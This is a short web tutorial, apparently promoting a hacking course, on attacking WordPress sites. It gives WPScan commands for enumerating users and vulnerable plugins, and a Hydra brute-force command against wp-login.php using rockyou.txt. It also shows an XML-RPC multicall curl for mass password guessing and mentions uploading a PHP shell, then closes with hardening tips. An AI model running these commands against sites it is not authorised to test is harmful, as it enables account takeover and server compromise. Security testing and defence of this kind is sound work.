WordPress Hacking — Most Exploited CMS in the World

WordPress — The Most Hacked CMS

WordPress powers 43% of ALL websites on the internet, making it the #1 target for hackers.

Scanning with WPScan

wpscan --url https://target.com --enumerate u,vp,vt,cb
# u = users, vp = vulnerable plugins, vt = themes, cb = config backups

Common Attack Vectors

1. Vulnerable Plugins (70% of WordPress hacks)

wpscan --url target --enumerate vp
# Check exploit-db.com for plugin exploits
searchsploit "wordpress plugin_name"

2. Brute Force wp-admin

wpscan --url target --passwords rockyou.txt --usernames admin
# Or with Hydra:
hydra -l admin -P wordlist.txt target http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=incorrect"

3. XML-RPC Amplification

curl -X POST https://target/xmlrpc.php -d 'system.multicall...'
# Test hundreds of passwords in a single request!

4. Upload Vulnerabilities

Plugins with file upload → upload PHP shell → full server access.

WordPress Security

• 🔒 Keep WordPress and ALL plugins updated
• 🔒 Remove unused plugins and themes
• 🔒 Use Wordfence or Sucuri security plugin
• 🔒 Limit login attempts
• 🔒 Disable XML-RPC if not needed
• 🔒 Use strong admin password + 2FA

🔥 Learn web hacking at ONLY4YOU →